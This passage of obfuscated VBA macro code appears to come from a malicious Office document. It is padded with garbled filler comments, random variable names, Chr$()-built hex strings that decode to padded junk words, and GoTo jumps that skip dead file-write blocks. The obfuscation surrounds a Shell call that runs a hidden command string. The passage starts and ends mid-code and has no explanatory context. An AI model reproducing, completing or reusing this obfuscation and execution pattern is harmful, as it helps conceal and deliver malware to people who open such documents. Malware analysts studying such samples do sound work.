MPNFUCHF = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(53) & Chr$(52) & Chr$(67) & Chr$(53) & Chr$(65) & Chr$(53) & Chr$(51) & Chr$(52) & Chr$(57) & Chr$(53) & Chr$(57) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
GQPBZZFH = LTrim(MPNFUCHF)
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
PSLQWYQJ = RTrim(GQPBZZFH)
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
 
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
    TKFRNZTFHUK = Shell(OSLEMFLVBSW, 1)
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
Dim ZBTMQXCX, TPLGWMYH, LNVKNTKV As String
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
Dim FGGRUAPT, LQXVMCAC, SADPQRJA As String
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
FGGRUAPT = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(70) & Chr$(53) & Chr$(54) & Chr$(52) & Chr$(51) & Chr$(53) & Chr$(65) & Chr$(52) & Chr$(50) & Chr$(52) & Chr$(50) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
LQXVMCAC = LTrim(FGGRUAPT)
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
SADPQRJA = RTrim(LQXVMCAC)
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
 
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
ZBTMQXCX = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(50) & Chr$(52) & Chr$(57) & Chr$(53) & Chr$(65) & Chr$(53) & Chr$(54) & Chr$(52) & Chr$(53) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
Dim TUBBYSNH, MCTESCSV, OFPUJOCY As String
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
TUBBYSNH = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(57) & Chr$(52) & Chr$(69) & Chr$(53) & Chr$(51) & Chr$(52) & Chr$(52) & Chr$(52) & Chr$(69) & Chr$(52) & Chr$(53) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
MCTESCSV = LTrim(TUBBYSNH)
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
OFPUJOCY = RTrim(MCTESCSV)
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
 
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
TPLGWMYH = LTrim(ZBTMQXCX)
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
Dim DIEVVYVZ, BFGAALZD, CVLGBWUQ As String
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
DIEVVYVZ = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(66) & Chr$(52) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(53) & Chr$(56) & Chr$(52) & Chr$(69) & Chr$(52) & Chr$(66) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
BFGAALZD = LTrim(DIEVVYVZ)
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
CVLGBWUQ = RTrim(BFGAALZD)
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
 
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
LNVKNTKV = RTrim(TPLGWMYH)
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
 
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
Dim WBKZHLSZ, KBZFQVOE, DNSBTZUR As String
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
WBKZHLSZ = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(65) & Chr$(52) & Chr$(49) & Chr$(53) & Chr$(54) & Chr$(53) & Chr$(57) & Chr$(52) & Chr$(52) & Chr$(52) & Chr$(56) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
KBZFQVOE = LTrim(WBKZHLSZ)
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
DNSBTZUR = RTrim(KBZFQVOE)
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
 
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
      
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
End Function
'??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Sub ZFCAHVQGVAT()
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim IYVYGKJX, MSPOJTMU, YKXSLLCK As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim QPBFIDJA, GTUIWUOK, MAGEIZNP As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo FQFLznCe
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim OSVyxRmr As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "EUJXIT.BAL" For Binary As 37
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #37, , OSVyxRmr
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #37
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
FQFLznCe:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
QPBFIDJA = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(68) & Chr$(53) & Chr$(56) & Chr$(52) & Chr$(53) & Chr$(53) & Chr$(53) & Chr$(52) & Chr$(52) & Chr$(52) & Chr$(66) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo ohOsDrCL
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim tjLciomM As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "DWGTAM.OHJ" For Binary As 73
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #73, , tjLciomM
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #73
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
ohOsDrCL:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GTUIWUOK = LTrim(QPBFIDJA)
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo rLynyhnv
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim NMhDnmVb As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "QPNSPB.URZ" For Binary As 68
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #68, , NMhDnmVb
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #68
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
rLynyhnv:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
MAGEIZNP = RTrim(GTUIWUOK)
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo szKZfieE
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim uezFIdnR As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "FGLDFW.POW" For Binary As 71
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #71, , uezFIdnR
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #71
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
szKZfieE:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
 
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo wJgJQXmZ
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim kKvetNKE As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "LORMNG.HEU" For Binary As 98
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #98, , kKvetNKE
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #98
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
wJgJQXmZ:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
IYVYGKJX = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(55) & Chr$(53) & Chr$(65) & Chr$(52) & Chr$(52) & Chr$(52) & Chr$(69) & Chr$(53) & Chr$(55) & Chr$(53) & Chr$(49) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim KIPYXPZN, MLBNYUSM, OORRQLCZ As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo RKFJjdKK
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim bKVeQkhL As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "JBDSAT.DLG" For Binary As 18
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #18, , bKVeQkhL
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #18
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
RKFJjdKK:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
KIPYXPZN = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(51) & Chr$(52) & Chr$(69) & Chr$(52) & Chr$(66) & Chr$(52) & Chr$(65) & Chr$(53) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo gYQemIFU
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim qUWhGDsI As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "HRHAKO.SVK" For Binary As 86
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #86, , qUWhGDsI
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #86
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
gYQemIFU:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
MLBNYUSM = LTrim(KIPYXPZN)
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo gUIgEYvG
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim pIKnVQXH As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "HRFYXI.SVH" For Binary As 86
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Put #86, , pIKnVQXH
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Close #86
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
gUIgEYvG:
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
OORRQLCZ = RTrim(MLBNYUSM)
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà

'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
GoTo FIyvlsSD
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Dim PIhPDhpF As String
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
Open "ETNQJC.BBZ" For Binary As 36
'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
